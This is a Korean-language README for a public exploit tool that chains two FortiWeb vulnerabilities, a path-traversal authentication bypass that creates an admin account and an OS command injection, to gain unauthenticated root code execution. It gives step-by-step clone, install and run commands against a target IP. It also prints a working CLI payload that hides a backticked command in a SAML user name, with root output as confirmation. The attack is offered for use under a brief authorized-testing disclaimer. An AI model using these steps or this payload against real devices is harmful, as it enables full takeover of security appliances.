
CVE-2025-64446 + CVE-2025-58034 체인을 통한 FortiWeb 원격 코드 실행(RCE) 익스플로잇
이 스크립트는 Fortinet FortiWeb의 두 가지 치명적인 취약점을 연쇄적으로 활용하여 인증 없이 루트 권한으로 원격 코드 실행을 달성합니다:
CVE-2025-64446 – 상대 경로 순회를 통한 인증 우회
인증되지 않은 공격자가 인증을 우회하고 새로운 관리 계정을 생성할 수 있습니다.
CVE-2025-58034 – 인증된 OS 명령어 주입
인증된 공격자(1단계에서 생성된 계정 사용)가 조작된 HTTP 요청을 통해 루트 권한으로 임의의 OS 명령어를 실행할 수 있습니다.
이 두 취약점을 결합함으로써, 공격자는 사전 자격 증명 없이 제로 액세스 상태에서 전체 시스템 장악까지 도달할 수 있습니다.
최종 영향: 인증 없는 원격 코드 실행(루트 셸과 동등)
결합된 공격 체인:
저장소 복제:
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
의존성 설치:
pip install -r requirements.txt
전체 익스플로잇 실행(관리자 생성 + 명령 실행):
python exploit.py <target_ip> [-u <username>] [-p <password>]
<target_ip>: 취약한 FortiWeb 장비의 IP 주소 또는 호스트 이름입니다. 필수 인수입니다.-u <username>(선택 사항): 생성될 관리 계정의 사용자 지정 사용자 이름을 지정합니다. 제공되지 않으면 UUID가 사용됩니다.-p <password>(선택 사항): 생성될 관리 계정의 사용자 지정 비밀번호를 지정합니다. 제공되지 않으면 사용자 이름이 비밀번호로 사용됩니다.예시:
python exploit.py 192.168.1.100 -u admin123 -p password456
이는 192.168.1.100 대상 장비에 사용자 이름 "admin123"과 비밀번호 "password456"으로 관리 계정을 생성하려고 시도합니다.
사용자 이름과 비밀번호를 지정하지 않으면:
python exploit.py 192.168.1.100
스크립트는 사용자 이름으로 임의의 UUID를 생성하고 이를 비밀번호로 사용합니다.


새로 생성된 관리 계정으로 성공적으로 로그인한 후, 공격자는 특수하게 제작된 요청을 통해 또는 FortiWeb CLI를 통해 직접 인증된 명령어 주입 취약점을 악용할 수 있습니다.
신뢰할 수 있는 악용 방법 중 하나는 다음 CLI 명령을 사용하는 것입니다(인증 후 FortiWeb 명령줄 인터페이스에서 실행):
config user saml-user
edit "`<YOUR COMMAND>`"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end

실행 후:
uid=0(root) gid=0(root)는 루트 RCE를 확인함)면책 조항: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다.